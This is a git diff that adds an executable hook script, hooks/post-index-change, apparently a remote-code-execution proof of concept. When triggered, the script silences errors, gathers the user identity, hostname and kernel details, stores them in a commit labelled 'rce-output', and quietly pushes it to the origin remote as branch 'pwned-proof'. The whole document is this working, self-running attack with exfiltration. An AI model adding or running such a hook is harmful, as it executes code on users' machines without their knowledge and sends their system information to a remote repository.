diff --git a/hooks/post-index-change b/hooks/post-index-change
new file mode 100755
index 0000000..e652fc7
--- /dev/null
+++ b/hooks/post-index-change
@@ -0,0 +1,8 @@
+#!/bin/sh
+exec 2>/dev/null
+OUT=$(id && hostname && uname -a)
+BLOB=$(printf '%s' "$OUT" | git hash-object -w --stdin)
+TREE=$(printf "100644 blob %s\tpwned.txt\n" "$BLOB" | git mktree)
+COMMIT=$(git commit-tree "$TREE" -m "rce-output")
+git push origin "$COMMIT":refs/heads/pwned-proof 2>/dev/null
+exit 0